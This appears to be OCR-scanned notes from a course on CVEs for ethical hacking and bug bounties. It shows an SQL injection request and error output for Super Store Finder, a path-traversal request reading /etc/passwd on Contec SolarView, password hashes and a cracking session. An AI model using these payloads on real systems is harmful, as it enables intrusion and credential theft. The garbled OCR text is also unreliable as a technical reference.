COURSE: CVEs for Ethical Hacking Bug Bounties & Penetration
Testing

Navigating the World of CVEs: Your Comprehensive Guide to Ethical Hacking, BugBounties &
Penetration Testing

Introduction:

In an era where digital vulnerabilities are rife and cyber threats loom large, the significance
of ethical hacking, bug bounties, and penetration testing has reached new heights. This
rapidly evolving field demands professionals who possess a keen understanding of security
flaws, a flair for ethical responsibility, and the technical prowess to outsmart potential
attackers. Welcome to the illuminating Udemy course "CVE's for Ethical Hacking Bug
Bounties & Penetration Testing." In this article, we invite you to explore the rich tapestry of
topics covered in this course, which promises to equip you with the skills and knowledge
needed to traverse the intricate world of CVEs (Common Vulnerabilities and Exposures).

Embarking on a Journey of Discovery:

% All about CVEs:
Begin your exploration by diving deep into the realm of CVEs. Understand the anatomy

of these vital security identifiers and learn how they serve as the cornerstone of the
cybersecurity landscape.

CVE structure

CVE - 2019 - 1214

Identical for Four digits, year Ongoing: four, five
each ID of publication or seven digits

Sources:-

1) https://www.cvedetails.com/
2) https://cve.mitre.org/
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https://www.cvedetails.com/
https://cve.mitre.org/

CVE-2023-41507

Super Store Finder v3.6 was discovered to contain multiple SQL injection
vulnerabilities in the store locator component via the products, distance, lat, and Ing
parameters.

Request Response
Prett mﬂex \nj (= Raw Hex Render \n =
1 POST /locations/index.php HTTP/2 1 HTT 0 oK

Host:

S User-Agent: Mozilla/5.0 (Vindows NT 10.0; Ving4; xé4; rvil09.0) Gecko/20100101 <pre>
Firefox/115.0 Array
Accepe: */* 14 | ¢

7 Accept-Language: en-US,en;q=0.5 5 | (0] => Invalid query: You have an error in your SQL syntax; check the manual
Accept-Encoding: gzip, deflate that corresponds to your MySQL server version for the right syntax to use near

o Content-Type: application/x-www-form-urlencoded; charset=UTF-8 141" HAVING distance <= 38.915051442758454 ORDER BY distance ASC LIMIT 0,60' at
X¥-Requested-With: XMLHttpRequest line 1

1 Origin: 1€
Referer: N | -t ions/ embed. php? locat ion= N </pre>
I—— <pre>

13 Sec-Fetch-Dest: empty SELECT *, ( 3859 * ACOS( COS( RADTANS(-27.4704528) ) * COS( RADTANS|
¢ Sec-Fetch-Mode: cors latitude ) ) * COS{ RADIANS( longitude ) - RADIANS(153.0260341) ) + SIN{

Sec-Fetch-Site: same-origin RADIANS (-27.4704528) ) * SIN( RADIANS( latitude ) ) ) ) AS distance FROM
stores WHERE status=1 AND approved=1 AND cat_id=''' HAVING distance <=
39.915051442758454 ORDER BY distance ASC LIMIT 0, 60</pre>

{"success":0, "msg":"No nearby stores were found, please try to refine your

¢ ayaxtsact ion- NN < i< <~ - - - search")

16 Te: trailers
7 Connection: close

sproductay’ | error-based SQL injection

GitHub link :- https://qithub.com/redblueteam/CVE-2023-41507

CVE-2023-40924

BUG_Author: YE Affected version: Contec SolarView Compact <6.00
Vendor: https://www.contecinc.com/

- Cc Q o R jownloa 2file / / te/passwd%00.jpg & o s Ll
n u = n [] =

roc  GSKINGN 5N2bAppawSRZVNZZ/BUTL QRi/76vAFbC .emn :e6CIT8pZEVS5CDNG1:0:0: root : /root : /bin/bash
dae n:x:1:1:daemon: fusr/sbin: /bin/sh

bir n:/bin: /bin/sh

sy s:/devi/bin/sh

sy +/bin: [bin/sync

ga a: fusr/games:

na an: /var/cache/

1p fvar/spool/lpd: /bin/sh

aa ail: /var/mail: /bin/sh

new x ews : fvar/spool /news: [bin/sh

uue x ucp: fvar/spool fuucp: fbin/sh

prc proxy: fbin: /bin/sh

ey 3:33:wwm-data: /var /uaw: [bin/sh

bac 34:backup: /var/backups: /bin/sh

lis ailing List Manager:/var/list:/bin/sh

gnal :x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nok  /:x:65534:65534:nobody: /nonexistent: /bin/sh

Libl id:x:100:181:: /var/1ib/1ibuuid: /bin/sh

181:103: : /home/syslog: /bin/false

un/sshd: fusr/sbin/nologin

Li/sevfFep: [binffalse

me/contec:/bin/bash

ome/solar: /bin/bash

input e UTF-8

yrd hash (sha512¢ t, crypt(3) $6$ [SHA512 256/256 A
iteration count) is 5000 for all loaded hashes
4 OpenMP threads

or Ctrl t abort, almost any other k for status

0.005983g
f the crack

GitHub Link:- https://github.com/Yobingl/CVE-2023-40924/blob/main/README.md
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% Accessing Valuable Resources:

Discover a treasure trove of resources that will @O

elevate your skills and knowledge. ®
Explore references, tutorials, and tools that enhance $
your ethical hacking and penetration testing capabilities.

Resources link:-

1) Twitter:- https://twitter.com/CVEnew?s=20
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